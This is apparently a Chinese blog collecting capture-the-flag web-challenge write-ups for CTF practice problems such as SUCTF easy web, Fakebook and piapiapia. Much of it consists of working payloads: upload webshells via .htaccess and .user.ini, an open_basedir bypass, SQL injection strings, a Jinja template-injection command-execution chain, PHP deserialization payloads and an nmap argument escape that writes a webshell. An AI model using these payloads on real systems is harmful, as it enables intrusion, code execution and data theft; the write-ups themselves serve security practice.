中的PHP_INI_PERDIR 和 PHP_INI_USER设置。
auto_prepend_file和auto_append_file会在php文件的前/后自动插入指定的文件。
上传.user.ini
:
1 2 GIF89a auto_prepend_file=ow.jpg
上传目录下有一个index.php文件,访问index.php即可执行我们上传的php文件。
[SUCTF] easy web 看一下代码,大概是要进行到eval()
函数执行get_the_flag()
,然后通过文件上传拿shell。
第一步,正则过滤了茫茫多的字符,需要绕过。参考无字母数字shell ,无字母数字shell提高篇 ,php异或shell ,对字符串的长度,重复使用的字符也有要求。
接下来是php特性
1 2 3 4 5 6 7 8 <?php $_GET['a']; $_GET[a]; # 没有引号的字符视为字符串,所以以上两条等价 $_GET{a}; # 字符串后面跟随大括号和中括号都把字符串看作一个数组,所以以上两种等价 $a='phpinfo'; $a(); # 动态调用函数,可以直接在字符串后加上括号把字符串当作函数名 echo ab^cd; # 得到两个不可见字符,php可以直接对两个字符串进行异或操作,相当于两位两位分别异或 ?>
于是使用不可见的字符绕过正则,同时使两个字符串异或得到_GET
,${}
没有被过滤,直接使用可以减少一个字符量。除了异或也可以使用取反或者自增。
1 2 3 4 5 6 7 8 r = 255 # %ff target = "_GET" res = [] for t in target: for l in range(0, 255): if l ^ r == ord(t): res.append(hex(l)) print(res)
得到/xa0/xb8/xba/xab
,payload:
1 ?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag # $_GET{%ff}()
这样就可以执行get_the_flag()
了
第二步文件上传,要求后缀中不存在ph,内容中不含<?
,还要通过exif_imagetype。使用.htaccess绕过后缀限制,用<script language="php">@eval($_REQUEST[c]);</script>
的方式上传shell,在.htaccess和shell签名加上GIF89a来绕过exif_imagetype的检测。
构造一个上传页面,用来上传两个文件
1 2 3 4 <Form action="http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag" method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </Form>
a.aaa文件:
1 GIF89a<script language="php">@eval($_REQUEST['c']);</script>
完了失败了,应该是在.htaccess前加的GIF89a导致文件失效了,换个方式。由于#
在.htaccess中是注释符,不影响执行,同时这两条是图片文件头:
1 2 3 #define width 123 #define height 123 AddType application/x-httpd-php .aaa
这时访问http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=phpinfo();
发现返回的内容是GIF89a<script language="php">@eval($_REQUEST['c']);</script>
,可能由于版本原因script标签指定的php不能起作用。改一下a.aaa文件,把<?php @eval($_REQUEST[c]);?>
base64编码然后加到GIF89a后面,多加两个a是为了可以正常base64解码
1 GIF89aaaPD9waHAgQGV2YWwoJF9SRVFVRVNUW2NdKTs/Pg==
读取文件内容时用的是file_get_contents,可以使用php伪协议base64解密,所以修改.htaccess:
1 2 3 4 #define width 123 #define height 123 AddType application/x-httpd-php .aaa php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa
访问http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=phpinfo();
,成功拿到shell
蚁剑连接,html目录下有个假flag,再上层的目录提示无权限,在phpinfo可以看到设置了open_basedir
1 2 This is fake flag But I heard php7.2-fpm has been initialized in unix socket mode!
oepn_basedir绕过 ,选择了chdir和ini_set合用的方式绕过
1 http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
发现根目录下的THis_Is_tHe_F14g
,最终payload
1 http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));
extra:打印函数被禁用,如果curl可用,可以搭建一个靶机,把信息存入数据库或者文件,将回显信息发送到靶机,命令执行无回显时可以使用以下payload
当system,passthru等不可用时,可以使用popen,proc_open等管道命令执行命令,也可以使用反引号,括起来的内容会作为shell命令执行,并将输出信息返回。
不能使用字母数字时也可以用通配符方式。
1 2 /???/??? # /bin/cat /???/??? /???/???/???/?????.??? # /bin/cat /var/www/html/index.php
[SWPU2019]Web1 发布广告的标题位置存在注入,要在查询广告内容的时候触发。
发现 #-or
会被waf,空格会被过滤,于是用/**/
代替空格,在union select中闭合后面的单引号。
看看有多少列
1 a' union select 1,1...1,1,'1
一度怀疑自己方法有问题,结果它TM有22列。第2、3位可以显示。由于or被过滤,没办法使用informationschema,查一下版本,MariaDB,可以使用mysql.innodb_table_stats,查到表名
1 2 3 a'/**/union/**/select/**/1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 a'/**/union/**/select/**/1,(select group_concat(table_name) from mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
有FLAG_TABLE,news,users,gtid_slave_pos,ads,users几个表,接下来无列名注入。
1 a'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/a,2/**/b,3/**/c/**/union/**/select/**/*/**/from/**/users)d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
需要一个一个试出每个表有多少列。
[WUSTCTF2020]朴实无华 intval 对于指数表示只会返回e前的内容。
md5 传入一个 0e215962017,md5后还是一个0e开头的数字,可以相等。
get_flag 先用 ls 看一下目录,找到flag,%09代替空格,ca\t代替cat
1 ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[WesternCTF2018]shrine 服务端模板注入(SSTI),有工具 tqlmap,类似于sqlmap。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
访问/shrine/{{1+1}}
,得到2,可以模板注入。源码中flag在config里,如果没有过滤可以用{{config}}
直接获取,但是这里设置了黑名单并且过滤了括号。
但python有一些内置函数,比如url_for
和get_flashed_messages
,可用payload:
1 2 3 /shrine/{{url_for.__globals__}} # 得到current_app /shrine/{{url_for.__globals__['current_app'].config}} /shrine/{{get_flashed_messages.__globals__['current_app'].config}} # 与上面类似
命令执行
1 {%25 for c in [].__class__.__base__.__subclasses__() %25}%0A{%25 if c.__name__ %3D%3D 'catch_warnings' %25}%0A%20 {%25 for b in c.__init__.__globals__.values() %25}%0A%20 {%25 if b.__class__ %3D%3D {}.__class__ %25}%0A%20%20%20 {%25 if 'eval' in b.keys() %25}%0A%20%20%20%20%20 {{ b['eval']('__import__("os").popen("id").read()') }}%0A%20%20%20 {%25 endif %25}%0A%20 {%25 endif %25}%0A%20 {%25 endfor %25}%0A{%25 endif %25}%0A{%25 endfor %25}
[网鼎杯 2020 朱雀组]phpweb F12看一下有个隐藏的表单,会自动提交。警告信息显示是执行了 func 这个函数,把 p 当作参数。尝试了几个命令执行函数都被 ban 了。
读一下源码
1 file_get_contents(index.php)
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
把 func 转换成小写,然后检查 ,不能在 disable func 里。func(p)_
返回的结果必须是字符串(其实不重要)。
里面给出了一个类,有 destruct方法,可以反序列化绕过 disable func 的限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "whoami"; var $func = "exec"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); $s = serialize($a); unserialize($s);
验证可以执行命令,buu 的环境中 exec ls 只能看见 /var/www/html
这一串目录,尝试用 system。
1 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
找到 flag
1 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[网鼎杯 2020 朱雀组]Nmap 类似于 Online Tools,应用了 escapeshellarg()+escapeshellcmd(),导致逃逸。
两种方法
1 2 127.0.0.1' -iL /flag -oN flag.txt ' # 利用 nmap 参数, -iL 从指定文件读取主机/IP 进行扫描,-oN 将扫描结果写入指定文件 ' <?= @eval($_POST["pd"]);?> -oG pd.phtml ' # 写入 shell ,由于过滤了 php ,使用 <?= 和 phtml 进行绕过
[网鼎杯 2020 青龙组]ArdeUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
反序列化,process 中需要使 op 为 2,然后在 read 中读取 flag.php。所以需要把 op 改成 2,filename 改成 flag.php。
记录一下,private 成员序列化的格式为 %00ClassName%00Attribute
,protected 成员格式为%00*%00Attribute
。正常 payload
1 O:11:"FileHandler":3:{s:5:"%00*%00op";s:1:"2";s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";s:1:"a";}
会使用===
判断 op 是否为 "2"
,可以利用弱类型特性,传入数字 2.
由于使用了%00
,不能通过 is_valid
,将序列化后的字符串中的 s
改为S
,后面的字符串就可以使用 16 进制表示。
执行__destruct()
时,目录不再是该文件位置(?),所以需要使用绝对路径读取文件。可以通过读取 /proc/self/cmdlie
获取配置文件路径,在配置文件中得到 web 绝对路径。
1 2 3 4 5 6 7 8 9 10 <?php class FileHandler{ protected $op=2; protected $filename="php://filter/read=convert.base64-encode/resource=flag.php"; } $a = serialize(new FileHandler); $a = str_replace(chr(0),'\00',$a); $a = str_replace('s:','S:',$a); echo urlencode($a); # PD9waHAgJGZsYWc9J2ZsYWd7ZDg2ZWRiMjMtNzk0Zi00NDI4LTllNTQtZmQ2NDk2YmNmMjBlfSc7Cg==
在 php 7.1+ 环境中,对属性类型不敏感,也可以使用 public 属性来绕过。
[网鼎杯 2018]Fakebook 注册一个账号,点进去能看见自己的资料和博客内容。同时发现no=1,尝试注入。
sqlmap告诉我它可以注,但是没跑出来,手注。
1 2 3 4 5 6 7 8 9 10 no=1' //报错 no=1 and 1=1 //正常,sql语句应该是 select ... from ... where id = no no=1 order by 4 //正常 no=1 order by 5 //报错,有4列 no=0 union select 1,2,3,4 //nohack 有过滤 no=0/**/union/**/select/**/1,2,3,4 //用/**/绕过空格,发现2可以显示,同时知道了网站的绝对路径是/var/www/html no=0/**/union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata //查库,发现fakebook no=0/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27fakebook%27 //查表,得到users no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27 //查列,得到no,username,passwd,data no=0/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users //得到O:8:"UserInfo":3:{s:4:"name";s:1:"A";s:3:"age";i:0;s:4:"blog";s:5:"a.com";},一个序列化的用户信息
同时有两个信息
1 2 Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31 Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67
猜测view.php
把从数据库中查出的字符串反序列化后执行getBlogContents
方法
看一下robots.php
,发现有user.php.bak
,知道了getBlogContents
方法是调用curl_exec
,curl_exec
可以接受file://
协议,于是最终payload
1 no=0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:5;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
flag在iframe标签里
[Zer0pts2020]Can you guess it? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } }
random_bytes
没有查到什么问题,生成的随机数强度非常高,重点在上面的$_SERVER[PHP_SELF]
上面
$_SERVER['PHP_SELF']
指的是运行的 PHP 脚本,上面匹配到这个$_SERVER['PHP_SELF']
之后就退出,但是下面的highlignt_file
显示的是basename($_SERVER['PHP_SELF'])
1 basename('/index.php/config.php') # config.php
因此我们只需要绕过第一个正则表达式即可,fuzz 一下可以绕过
1 2 3 4 5 6 7 8 import requests url = 'http://6de85585-1529-4b55-b532-e510c9ddcf3e.node3.buuoj.cn/index.php/config.php/{}?source' for i in range(255): r = requests.get(url.format(chr(i))) if '{' in r.text: print(r.text)
[ZJCTF 2019]NiZhuanSiWei 第一步绕过text,可以使用data://
或者php://input
伪协议。第二步用php://filter
读取useless.php
,http://4a66ab84-c72b-4d9c-bafd-19fab18c72d0.node3.buuoj.cn/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
,得到Flag类的结构。第三步读取flag.php,序列化一个Flag对象,用php://filter
读flag。
1 2 3 4 5 6 7 8 <?php class Flag{ public $file; } $s = new Flag(); $s->file='php://filter/read=convert.base64-encode/resource=flag.php'; echo serialize($s); ?>
得到O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
最终payload
1 http://4a66ab84-c72b-4d9c-bafd-19fab18c72d0.node3.buuoj.cn/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
[0CTF] 2016 piapiapia 扫一下,发现www.zip,走一遍正常流程,注册,登录,更新资料,查看资料。
flag在config.php里,目的是要读到config.php,找一下能读文件的位置。
在profile.php找到file_get_contents($profile['photo']);
,看一下能不能使$profile['photo']==’config.php‘
,往上面找,profile来源于show_profile()
反序列化,再看一下showprofile。
showprofile中,username经过过滤,无法注入(但过滤是很奇怪的),然后从数据库中查询到序列化的字符串,反序列化得到profile,再看看update_profile()
。
updateprofile中,把username和newprofile过滤,其中newprofile是序列化后的表单内容,接下来重点看filter。
1 2 3 4 5 6 7 8 9 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
进行了转义,如果发现 select, insert, update, delete, where会把它们变成hacker。对于profile来说,已经序列化的字符串长度时固定的,比如s:8:"nickname";s:5:"where"
,如果把where变成hacker,后面就变成s:5:"hacker"
,反序列化时最后的引号就逃逸了。于是我们希望利用nickname这项来逃逸字符,使得最后的photo值为config.php。
nickname也有过滤
1 2 if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
可以用数组绕过。
正常序列化后的profile是 a:4:{s:5:"phone";s:11:"12312312123";s:5:"email";s:12:"aaaaa@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:14:"upload/somemd5";}
,我们希望逃逸出的字符串是";}s:5:"photo";s:10:"config.php";}
,总共是34个字符,因此需要34个where,希望构成a:4:{s:5:"phone";s:11:"12312312123";s:5:"email";s:12:"aaaaa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
(后面还有一些),这样where替换成hacker的时候后面的config.php就会赋值给photo
最后的payload,要在burp里面把nickname改成数组,内容是wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
,在img的src里面能发现base64编码后的config.php,解码得到flag
CG-CTF web 层层递进 一直找iframe标签border那些都是0对应的文件,找到小故事,查看源代码的js文件名可以连成flag
php decode 看出题目是返回一个处理后的字符串,eval改为echo
mysql 看robots.txt,应该是要查询id=1024的内容,但是id==1024要得到false,利用intval,可以用1024e1,或者1024.1